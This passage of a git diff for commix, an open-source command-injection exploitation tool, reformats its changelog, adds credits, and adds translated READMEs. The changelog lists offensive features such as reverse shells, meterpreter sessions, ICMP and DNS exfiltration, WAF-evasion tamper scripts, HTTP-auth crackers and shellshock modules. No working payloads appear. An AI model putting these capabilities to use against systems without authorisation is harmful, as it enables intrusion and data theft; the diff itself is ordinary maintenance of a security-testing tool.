`--backticks` that uses backticks instead of "$()", for commands substitution. -* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the "/bin" standard subdirectory. +* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST). +* Added: New option `--backticks` that uses backticks instead of `$()`, for commands substitution. +* Revised: Minor improvement in Netcat shells, for giving to the end-user the choice of using the `/bin` standard subdirectory. * Added: New option `--disable-coloring` that disables console output coloring. * Added: New option `--check-tor` that checks if Tor is used properly. * Fixed: Minor improvement for fetching random HTTP User-Agent header in initial request, when `--random-agent` is used. @@ -199,11 +364,13 @@ * Fixed: Major bug-fix regarding connection problem over HTTPS. * Added: New option `--purge-output` to turn on safe removal of all content(s) from output directory. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.0-20170714...v2.1-20171003)._ + ## Version 2.0 (2017-07-14) * Revised: Minor improvement for automatically increasing default `--time-sec` value when `--tor` used. * Fixed: Minor improvement for not re-testing Tor SOCKS proxy settings (in case of multiple targets). * Revised: Multiple minor eye-candy revisions have been performed. -* Fixed: Major improvement regarding not sending requests with GET mothod in case of POST method, in injection levels 2, 3. +* Fixed: Major improvement regarding not sending requests with GET HTTP mothod in case of POST HTTP method, in injection levels 2, 3. * Updated: The `--sys-info` option has been enriched with distribution description and release information. * Revised: Minor improvement in dynamic code evaluation, regarding the users extraction payload. * Fixed: Minor fix regarding not raising the detection phase in the case of 4xx and/or 5xx HTTP error codes. @@ -213,18 +380,22 @@ * Added: New option `--mobile` that imitates smartphone through HTTP User-Agent header. * Added: New option `--retries` that retries request(s) when the connection timeouts. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.9-20170502...v2.0-20170714)._ + ## Version 1.9 (2017-05-02) -* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-provided time delay. -* Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised. -* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-provided time delay. -* Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved. +* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. +* Revised: The time-related payloads (i.e. "time-based", "tempfile-based"), have been shortly revised. +* Revised: Minor improvement in semiblind (i.e. "file-based") technique, for delaying the OS responses depending on the user-supplied time delay. +* Fixed: Minor improvement in semiblind (i.e. "file-based") technique, regarding the directory path that the output file is saved. * Added: New option `--ignore-redirects` that ignoring redirection attempts. * Added: New functionality for identifying and following URL redirections. -* Fixed: Minor improvement for adding "/" at the end of the user provided root dir (in case it does not exist). -* Revised: The file-based payload for deleting files with execution output, has been shortly revised. +* Fixed: Minor improvement for adding `/` at the end of the user provided root dir (in case it does not exist). +* Revised: The semiblind (i.e. "file-based") payload for deleting files with execution output, has been shortly revised. * Replaced: The `--root-dir` option has been replaced with `--web-root` option. * Added: New option `--wizard` that shows a simple wizard interface for beginner users. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.8-20170315...v1.9-20170502)._ + ## Version 1.8 (2017-03-15) * Added: New feauture for installing Unicorn tool (if not installed on host). * Removed: The pre-installed version of Unicorn tool has been removed. @@ -233,13 +404,15 @@ * Replaced: The `--delay` option has been replaced with `--time-sec` option. * Fixed: Minor improvement regarding gnureadline module for better support on MacOS X hosts. * Added: New option `--charset` that forces character encoding used for data retrieval. -* Added: New prefix ("'%26") and suffix ("%26'") have been added. -* Fixed: Removal of unnecessary command substitution in semiblind ("file-based") technique. +* Added: New prefix (`'%26`) and suffix (`%26'`) have been added. +* Fixed: Removal of unnecessary command substitution in semiblind technique (i.e. "file-based"). * Updated: The Unicorn tool has been updated to version 2.4.2. * Added: Support for the Regsvr32.exe Application Whitelisting Bypass technique. * Fixed: Minor improvement for checking for established TCP connections. * Fixed: Minor improvement for not reopening meterpreter sessions (in case of user abortion). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.7-20170203...v1.8-20170315)._ + ## Version 1.7 (2017-02-03) * Fixed: Minor improvement regarding unverified SSL context(s). * Added: New values ("URIPATH", "SRVPORT") have been added to "Set" option. @@ -249,14 +422,16 @@ * Fixed: Minor improvement regarding automated scan level increasing. * Fixed: Improvement regarding skipping the testing of problematic URL(s) and proceeding with next ones (in case of scanning multiple targets). * Fixed: Improvement regarding printing current assessment state in case of user abortion. -* Revised: Minor improvement for proceeding with semiblind ("file-based") technique, once the user provides the path of web server's root directory. +* Revised: Minor improvement for proceeding with semiblind technique (i.e. "file-based"), once the user provides the path of web server's root directory. * Fixed: Minor fix regarding the lack of http/s to the user-defined URL(s). * Added: New option `--skip-empty` for skipping the testing of the parameter(s) with empty value(s). * Fixed: Improvement regarding testing the parameter(s) with empty value(s). -* Added: New CGI shellscript path "/cgi-bin/cgiCmdNotify" (vulnerable to shellshock) has been added. +* Added: New CGI shellscript path `/cgi-bin/cgiCmdNotify` (vulnerable to shellshock) has been added. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.6-20161228...v1.7-20170203)._ ## Version 1.6 (2016-12-28) -* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the ":" exists. +* Fixed: Improvement regarding json-formated POST data, where whitespace before (and/or after) the `":"` exists. * Fixed: Minor fix regarding empty value(s) in provided parameter(s). * Added: New option `--batch` that never asks for user input (using the default behaviour). * Added: New option `-x` for parsing target(s) from remote sitemap(.xml) file. @@ -266,14 +441,16 @@ * Added: New option `-r` for loading HTTP request from a file. * Fixed: Improvement regarding the response time estimimation, in which the target URL was requested without its POST data. * Added: New option `-m` for scanning multiple targets given in a textual file. -* Fixed: Minor fix regarding the newline display in dynamic code evaluation ("eval-based") and semiblind ("file-based") technique. -* Revised: The dynamic code evaluation ("eval-based") payloads have been shortly revised. +* Fixed: Minor fix regarding the newline display in dynamic code evaluation (i.e. "eval-based") and semiblind technique (i.e. "file-based"). +* Revised: The dynamic code evaluation (i.e. "eval-based") payloads have been shortly revised. * Added: The executed command and the execution results output has been added to log file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.5-20161117...v1.6-20161228)._ + ## Version 1.5 (2016-11-17) * Fixed: Minor improvement in the "ICMP exfiltration" module. * Fixed: Minor improvement for choosing default value when pressing enter. -* Added: New tamper script "hexencode.py" that encodes the payload to hex format. +* Added: New tamper script "hexencode.py" that encodes the payload to `Hex` format. * Fixed: Minor improvements in executed commands history. * Added: New verbosity level (4) for printing the HTTP response page content. * Added: New option `-t` for logging all HTTP traffic into a textual file. @@ -281,6 +458,8 @@ * Added: New verbosity level (3) for printing the HTTP response headers. * Added: New verbosity level (2) for printing the performed HTTP requests headers. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.4-20161017...v1.5-20161117)._ + ## Version 1.4 (2016-10-17) * Added: Support on crawler for checking target for the existence of 'sitemap.xml'. * Revised: The payload for Ruby reverse-shell has been shortly revised. @@ -292,6 +471,8 @@ * Fixed: Minor improvement in the function that checks for updates on start up. * Fixed: Minor improvements in enumeration options (added failure messages). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.3-20160914...v1.4-20161017)._ + ## Version 1.3 (2016-09-14) * Fixed: Minor improvements in "reverse_tcp" option. * Added: Support for the metasploit "web_delivery" script. @@ -302,85 +483,103 @@ * Fixed: Minor improvement in Shellshock module for ignoring junk output on response. * Fixed: Minor improvement in Shellshock module for finding RCE results on page's response. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.2-20160812...v1.3-20160914)._ + ## Version 1.2 (2016-08-12) * Added: The ability for setting custom (PHP / Python) working directory. * Fixed: License file minor inaccurancy issue has been fixed. * Revised: The Windows-based payloads for every supported technique, had been shortly revised. -* Revised: The dynamic code evaluation ("eval-based") technique has been shortly revised. -* Added: New tamper script "space2tab.py" that replaces every space ("%20") with horizontal tab ("%09"). +* Revised: The dynamic code evaluation technique (i.e. "eval-based") has been shortly revised. +* Added: New tamper script "space2tab.py" that replaces every space (`%20`) with horizontal tab (`%09`). * Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn. * Added: The ability for checking if there is a new version available. -* Added: The ability for target application extension recognition (i.e PHP, ASP etc). -* Fixed: Minor improvement for finding the URL part (i.e scheme:[//host[:port]][/]path). -* Fixed: Minor fix for conflicted shells (i.e regular, alternative) from session file. +* Added: The ability for target application extension recognition (i.e. PHP, ASP etc). +* Fixed: Minor improvement for finding the URL part (i.e. `scheme:[//host[:port]][/]path`). +* Fixed: Minor fix for conflicted shells (i.e. regular, alternative) from session file. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.1-20160714...v1.2-20160812)._ ## Version 1.1 (2016-07-14) * Added: The ".gitignore" file has been added. * Added: Support for injections against ASP.NET applications. -* Added: Support for warning detection regarding "create_function()" function. +* Added: Support for warning detection regarding `create_function()` function. * Fixed: Minor improvent of the HTTP server for `--file-upload` option. * Fixed: Minor fix for conflicted executed commands from session file in HTTP Headers. * Added: The ability to store injection level into session files for current target. * Added: Support for automated enabling of an HTTP server for `--file-upload` option. * Fixed: Minor fix for "Python-urllib" User-Agent exposure. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v1.0-20160614...v1.1-20160714)._ + ## Version 1.0 (2016-06-14) -* Revised: Time-relative statistical analysis for recognition of unexpected time delays due to unstable requests. +* Revised: Time-related statistical analysis for recognition of unexpected time delays due to unstable requests. * Added: A list of pages / scripts potentially vulnerable to shellshock. * Added: The ability to check if the url is probable to contain script(s) vulnerable to shellshock. * Revised: Multiple eye-candy revisions have been performed. * Fixed: HTTPS requests fixation, if the `--proxy` option is enabled. * Fixed: Multiple fixes regarding the shellshock module have been performed. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.9b-20160607...v1.0-20160614)._ + ## Version 0.9b (2016-06-07) * Added: The ability to re-perform the injection request if it has failed. -* Fixed: The shell output in semiblind ("file-based") technique has been fixed not to concat new lines. +* Fixed: The shell output in semiblind technique (i.e. "file-based") has been fixed not to concat new lines. * Revised: The ability to execute multiple tamper scripts combined or the one after the other. -* Added: New tamper script "space2plus.py" that replaces every space ("%20") with plus ("+"). +* Added: New tamper script "space2plus.py" that replaces every space (`%20`) with plus (`+`). * Added: New state ("checking") and the color of that state has been setted. * Replaced: The `--base64` option has been replaced with "base64encode.py" tamper script. -* Added: New tamper script "space2ifs.py" that replaces every space ("%20") with $IFS (bash) variable. +* Added: New tamper script "space2ifs.py" that replaces every space (`%20`) with `$IFS` (bash) variable. * Added: New option `--tamper` that supports tamper injection scripts. * Added: Support for verbosity levels (currently supported levels: 0,1). * Fixed: Minor rearrangement of prefixes and separators has been implemented. -* Revised: The "time-based" (blind) technique for *nix targets has been shortly revised. -* Revised: The source code has been revised to support "print_state_msg" (i.e error, warning, success etc) functions. +* Revised: The "time-based" (blind) technique for \*nix targets has been shortly revised. +* Revised: The source code has been revised to support `print_state_msg` (i.e. error, warning, success etc) functions. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.8b-20160506...v0.9b-20160607)._ ## Version 0.8b (2016-05-06) -* Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file. -* Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip. -* Replaced: The "INJECT_HERE" tag has been replaced with the "*" (asterisk) wildcard character. +* Fixed: The `--file-read` option to ignore the carriage return (`\r`) character in a text file. +* Added: The ability to check for empty value(s) in the defined GET, POST, Cookie data and skip. +* Replaced: The `INJECT_HERE` tag has been replaced with the custom injection marker (i.e. asterisk `*`). * Added: New option `--level` (1-3) that specifies level of tests to perform. -* Added: New option `-p` that specifies a comma-separated list of GET/POST parameter. +* Added: New option `-p` that specifies a comma-separated list of GET and POST parameter. * Added: The ability to check every parameter in the provided cookie data. * Added: The ability to check every GET parameter in the defined URL and/or every POST provided data. * Added: New option `--all` that enables all supported enumeration options. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.7b-20160418...v0.8b-20160506)._ + ## Version 0.7b (2016-04-18) -* Fixed: HTTP proxy logs parser to accept GET http requests. +* Fixed: HTTP proxy logs parser to accept GET HTTP requests. * Fixed: HTTP proxy logs parser to recognise provided HTTP authentication credentials. -* Added: Support for verbose mode in HTTP authentication (Basic / Digest) dictionary-based cracker. +* Added: Support for verbose mode in HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Added: The ability to store valid (Digest) credentials into session files for current target. -* Added: Dictionary-based cracker for "Digest" HTTP authentication credentials. -* Added: Support for "Digest" HTTP authentication type. +* Added: Dictionary-based cracker for `Digest` HTTP authentication credentials. +* Added: Support for `Digest` HTTP authentication type. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.6b-20160401...v0.7b-20160418)._ ## Version 0.6b (2016-04-01) -* Added: The ability to store valid (Basic) credentials into session files for current target. +* Added: The ability to store valid (`Basic`) credentials into session files for current target. * Added: New option `--ignore-401` that ignores HTTP Error 401 (Unauthorized) and continues tests without providing valid credentials. -* Added: Dictionary-based cracker for "Basic" HTTP authentication credentials. -* Added: Identifier for HTTP authentication type (currently only "Basic" type is supported). +* Added: Dictionary-based cracker for `Basic` HTTP authentication credentials. +* Added: Identifier for HTTP authentication type (currently only `Basic` type is supported). * Added: New option `--skip-waf` that skips heuristic detection of WAF/IPS/IDS protection. * Added: Support for verbose mode in the "DNS exfiltration" injection technique (module). * Added: New option `--dns-server` that supports the "DNS exfiltration" injection technique (module). * Added: New option `--dependencies` that checks (non-core) third party dependenices. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.5b-20160316...v0.6b-20160401)._ + ## Version 0.5b (2016-03-16) -* Fixed: The payload(s) for dynamic code evaluation ("eval-based"), if there is not any separator. +* Fixed: The payload(s) for dynamic code evaluation (i.e. "eval-based"), if there is not any separator. * Added: Support for verbose mode in the "ICMP exfiltration" injection technique (module). * Added: Check if the user-defined os name, is different than the one identified by heuristics. * Added: New option `--os` that forces a user-defined os name. * Added: Support for testing custom HTTP headers (via `--headers` parameter). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4.1b-20160226...v0.5b-20160316)._ + ## Version 0.4.1b (2016-02-26) * Added: Support for storing and retrieving executed commands from session file. * Added: New option `-s` for loading session from session file. @@ -388,61 +587,65 @@ * Added: New option `--flush-session` for flushing session files for current target. * Added: Support to resume to the latest injection points from session file. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4b-20160204...v0.4.1b-20160226)._ + ## Version 0.4b (2016-02-04) * Added: Payload mutation if WAF/IPS/IDS protection is detected. * Added: Check for existence of WAF/IPS/IDS protection (via error pages). * Added: The "set" option in "reverse_tcp" which sets a context-specific variable to a value. * Added: New option `--force-ssl` for forcing usage of SSL/HTTPS requests. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._ + ## Version 0.3b (2016-01-15) -* Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests. -* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab). +* Added: Time-related false-positive identification, which identifies unexpected time delays due to unstable requests. +* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e. Burp or WebScarab). * Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell. * Added: New option `--ps-version`, that checks PowerShell's version number. * Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid "Microsoft-IIS" server's incompatibilities. * Added: Support (in MacOSX platforms) for a tab completion in shell options. -* Added: Undocumented parameter "-InputFormat none" so to avoid "Microsoft-IIS" server's hang. +* Added: Undocumented parameter `-InputFormat none` so to avoid "Microsoft-IIS" server's hang. * Added: Ability for identification of "Microsoft-IIS" servers. -* Added: Statistical checks for time-related ("time-based"/"tempfile-based") techniques. +* Added: Statistical checks for time-related techniques (i.e. "time-based", "tempfile-based"). * Added: Support for Windows-based (cmd / powershell) payloads for every injection technique. ## Version 0.2b (2015-12-18) * Added: Support for recalling previous commands. * Added: Support (in Linux platforms) for tab completion in shell options. -* Added: Support for alternative (Python) os-shell in dynamic code evaluation ("eval-based") technique. +* Added: Support for alternative (Python) os-shell in dynamic code evaluation technique (i.e. "eval-based"). * Added: Support for PHP/Python meterpreter on "reverse_tcp" shell option. * Added: The "reverse_tcp" shell option. * Added: The ability to check for default root directories (Apache/Nginx). -* Added: Support for removal of (txt) shell files in semiblind ("file-based"/"tempfile-based") techniques. +* Added: Support for removal of (txt) shell files in semiblind techniques (i.e. "file-based", "tempfile-based"). * Added: Support for JSON POST data. * Added: The "enumeration" and "file-read" results to log file. * Added: The ability to get the user's approval before re-{enumerate/file-read} target. * Added: The ability to stop current injection technique and proceed on the next one(s). ## Version 0.1b (2015-09-20) -* Added: New eval-based payload for "str_replace()" filter bypass. +* Added: New eval-based payload for `str_replace()` filter bypass. * Added: Check for (GET) RESTful URL format. -* Added: New option `--base64`, that encodes the OS command to Base64 format. -* Added: Support for regular "preg_replace()" injections via "/e" modifier. +* Added: New option `--base64`, that encodes the OS command to `Base64` format. +* Added: Support for regular `preg_replace()` injections via `/e` modifier. * Added: Support for HTML Charset and HTTP "Server" response-header reconnaissance (on verbose mode). -* Replaced: Payloads for "tempfile-based" (semiblind) technique, have been replaced by new (more solid) ones. -* Added: A "new-line" separator support, for "time-based" (blind) & "tempfile-based" (semiblind) techniques. +* Replaced: Payloads for semiblind (i.e. "tempfile-based") technique, have been replaced by new (more solid) ones. +* Added: A "new-line" separator support, for blind (i.e. "time-based") and semiblind (i.e. "tempfile-based") techniques. * Added: Support for Referer HTTP header command injections. * Added: Support for User-Agent HTTP header command injections. -* Added: CVE-2014-6278 support for "shellshock" module. +* Added: [CVE-2014-6278](https://nvd.nist.gov/vuln/detail/CVE-2014-6278) support for "shellshock" module. * Added: Support for cookie-based command injections. * Added: A generic false-positive prevention technique. -* Removed: The "Base64" detection option. +* Removed: The `Base64` detection option. * Added: Support for the Tor network. -* Added: The "shellshock" (CVE-2014-6271) injection technique (module). +* Added: The "shellshock" [CVE-2014-6271](https://nvd.nist.gov/vuln/detail/cve-2014-6271) injection technique (module). * Added: Termcolor support for Windows (colorama). * Added: File access options. * Added: Enumeration options. * Added: New option `--alter-shell` that supports an alternative option for os-shell (e.g. Python). * Added: New option `--icmp-exfil` that supports the "ICMP exfiltration" injection technique (module). -* Added: The "tempfile-based" (semiblind) technique. -* Added: The "file-based" (semiblind) technique. -* Removed: The "boolean-based" (blind) technique. +* Added: The semiblind (i.e. "tempfile-based") technique. +* Added: The semiblind (i.e. "file-based") technique. +* Removed: The blind (i.e. “boolean-based”) technique. * Added: More Options. ## Version 0.1a (2014-12-20) diff --git a/doc/THANKS.md b/doc/THANKS.md index bb92530d1d..13ed70aeee 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -2,25 +2,36 @@ * Thanks [Obrela Security Industries](https://www.obrela.com/) for sponsorship. ## List of individual donors: +* Thanks Joseph Disser for a donation. * Thanks John Brinton for a donation. * Thanks [Himself132](https://github.com/Himself132) for a donation. -* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. +* Thanks [m3g9tr0n](https://x.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [anonymousdouble](https://github.com/anonymousdouble) for contributing code. +* Thanks [n00b-bot](https://github.com/n00b-bot) for suggesting a feature. +* Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix. +* Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. +* Thanks [0xFred](https://github.com/0xFred) for contributing code. +* Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md. +* Thanks [daniruiz](https://github.com/daniruiz) for contributing code. +* Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md. +* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. * Thanks [609496288](https://github.com/609496288) for reporting a bug. +* Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug. * Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug. * Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug. * Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features * Thanks [Alan Placidina](https://github.com/Placidina) for contributing code. -* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug. and for contributing code. +* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug and for contributing code. * Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code. -* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code.and for suggesting an enhancement. +* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code and for suggesting an enhancement. * Thanks [apprentice](https://github.com/apprentice) for contributing code. * Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature. * Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug. * Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs. -* Thanks [blshkv](https://github.com/blshkv) for reporting a bug.and for suggesting a feature. +* Thanks [blshkv](https://github.com/blshkv) for reporting a bug and for suggesting a feature. * Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug. * Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug. * Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug. @@ -61,9 +72,13 @@ * Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug. * Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug. * Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs. +* Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement. +* Thanks [raeph123](https://github.com/raeph123) for contributing code. +* Thanks [Raymond-JV](https://github.com/Raymond-JV) for contributing code. * Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement. * Thanks [royshum93](https://github.com/royshum93) for reporting a bug. * Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug. +* Thanks [saltasatelites](https://github.com/saltasatelites) for reporting a bug. * Thanks [scblakely](https://github.com/scblakely) for reporting a bug. * Thanks [shaojava](https://github.com/shaojava) for reporting a bug. * Thanks [shelld3v](https://github.com/shelld3v) for contributing code. @@ -72,6 +87,7 @@ * Thanks [Slavery](https://github.com/Slavery) for reporting a bug. * Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug. * Thanks [somarrr](https://github.com/somarrr) for reporting a bug. +* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting enhancements. * Thanks [td4b](https://github.com/td4b) for contributing code. * Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug. * Thanks [Tensha](https://github.com/Tensha) for reporting a bug. @@ -85,6 +101,7 @@ * Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug. * Thanks [w9w](https://github.com/w9w) for reporting a bug. * Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug. +* Thanks [webideveli](https://github.com/webideveli) for reporting a bug. * Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features * Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement. * Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md new file mode 100644 index 0000000000..afeedcfe05 --- /dev/null +++ b/doc/translations/README-fa-FA.md @@ -0,0 +1,48 @@ +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + x +

+

+ +**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار می‌کند. + + +![Screenshot](https://commixproject.com/images/background.png) +می‌توانید از [مجموعه اسکرین‌ شات‌ها](https://github.com/commixproject/commix/wiki/Screenshots) که نشان‌دهنده بعضی از ویژگی‌ها است در صفحه ویکی دیدن کنید. + +## نصب و راه‌اندازی + +در هر پلتفرمی می‌توانید با کلون کردن مخزن رسمی گیت کامیکس را دانلود کنید : + + $ git clone https://github.com/commixproject/commix.git commix + +از سوی دیگر, می‌توانید جدیدترین [tarball](https://github.com/commixproject/commix/tarball/master) یا [zipball](https://github.com/commixproject/commix/zipball/master) را دانلود کیند. + +*__توجه:__ **[پایتون](http://www.python.org/download/)** (نسخه **2.6**, **2.7** یا **3** به بعد) برای اجرای کامیکس مورد نیاز است.* + + +## استفاده + +برای دریافت لیستی از همه گزینه‌ها و سوئیچ‌ها از این دستور استفاده کنید: + + $ python commix.py -h + +برای دریافت نمای کلی از گزینه‌های موجود, سوئیچ‌ها و/یا ایده‌های اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, **[مثال‌های استفاده](https://github.com/commixproject/commix/wiki/Usage-Examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-Bypasses)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید. + + +## پیوندها + +* راهنمای کاربر: https://github.com/commixproject/commix/wiki +* ردیاب مسائل: https://github.com/commixproject/commix/issues + + +## ترجمه‌ها + +* [یونانی](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) +* [اندونزیایی](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) +* [فارسی](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) \ No newline at end of file diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 2332a6b154..efd183a1e1 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,15 +1,15 @@

CommixProject

- Build Status + Builds Tests Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**. ## Εικόνα diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md new file mode 100644 index 0000000000..7f28d9751d --- /dev/null +++ b/doc/translations/README-idn-IDN.md @@ -0,0 +1,41 @@ +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + x +

+

+ +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**. + + +![Screenshot](https://commixproject.com/images/background.png) +Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki. + +## Instalasi + +Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git: + + $ git clone https://github.com/commixproject/commix.git commix + +Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru. + +*__Catatan:__ **[Python](http://www.python.org/download/)** (versi **2.6**, **2.7** atau **3.x**) diperlukan untuk menjalankan commix.* + + +## Penggunaan + +Untuk mendapatkan daftar semua opsi dan beralih gunakan: + + $ python commix.py -h + +Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki. + + +## Link + +* Panduan : https://github.com/commixproject/commix/wiki +* Pelacak masalah : https://github.com/commixproject/commix/issues diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md new file mode 100644 index 0000000000..422bbac553 --- /dev/null +++ b/doc/translations/README-tr-TR.md @@ -0,0 +1,51 @@ + +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + x +

+

